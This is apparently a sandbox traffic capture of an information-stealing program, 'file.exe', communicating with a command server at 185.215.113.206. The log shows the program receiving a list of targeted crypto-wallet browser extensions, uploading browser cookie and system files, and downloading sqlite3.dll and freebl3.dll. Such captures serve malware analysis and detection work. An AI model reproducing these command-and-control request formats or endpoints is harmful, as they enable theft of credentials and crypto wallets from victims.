Nov 28, 2024 11:05:02.753176928 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKEBFHIJECFIDGDGCGHC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 2d 2d 0d 0a Data Ascii: ------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------BKEBFHIJECFIDGDGCGHCContent-Disposition: form-data; name="message"plugins------BKEBFHIJECFIDGDGCGHC--
Nov 28, 2024 11:05:03.193161964 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 28, 2024 11:05:03.193200111 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 28, 2024 11:05:03.193212986 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 28, 2024 11:05:03.193227053 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 28, 2024 11:05:03.193242073 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 28, 2024 11:05:03.193254948 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 28, 2024 11:05:03.602842093 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="message"fplugins------AEHIDAKECFIEBGDHJEBK--
Nov 28, 2024 11:05:04.042171955 CET	335	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 28, 2024 11:05:04.065912008 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDG Host: 185.215.113.206 Content-Length: 6347 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 11:05:04.065967083 CET	6347	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 28, 2024 11:05:05.029467106 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 11:05:05.287560940 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 28, 2024 11:05:05.725862980 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:05 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 28, 2024 11:05:05.725907087 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 28, 2024 11:05:05.729964018 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Nov 28, 2024 11:05:05.730030060 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49747	185.215.113.206	80	1780	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 11:05:14.884167910 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIECFHDBAAECAAKFHDHI Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IIECFHDBAAECAAKFHDHIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IIECFHDBAAECAAKFHDHI--
Nov 28, 2024 11:05:16.822707891 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 11:05:16.929698944 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="file"------FHIDAKFIJJKJJJKEBKJE--
Nov 28, 2024 11:05:17.901495934 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49782	185.215.113.206	80	1780	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 11:05:23.535024881 CET	633	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJEGDBGDBFIJKECBAKF Host: 185.215.113.206 Content-Length: 431 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 [TRUNCATED] Data Ascii: ------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------HIJEGDBGDBFIJKECBAKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HIJEGDBGDBFIJKECBAKF--
Nov 28, 2024 11:05:25.411638975 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 11:05:26.211333036 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIDAAFBGDBKJJJKFIIIJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 65 36 32 31 37 33 38 38 65 38 38 39 30 35 32 66 34 35 66 62 62 37 33 33 39 34 65 30 66 65 65 32 66 66 64 35 30 36 37 36 63 63 39 33 33 35 61 31 34 64 62 30 30 39 32 64 35 32 39 33 61 64 64 31 62 63 37 64 32 66 62 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="token"4e6217388e889052f45fbb73394e0fee2ffd50676cc9335a14db0092d5293add1bc7d2fb------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IIDAAFBGDBKJJJKFIIIJContent-Disposition: form-data; name="file"------IIDAAFBGDBKJJJKFIIIJ--
Nov 28, 2024 11:05:27.162780046 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 28, 2024 11:05:27.702725887 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
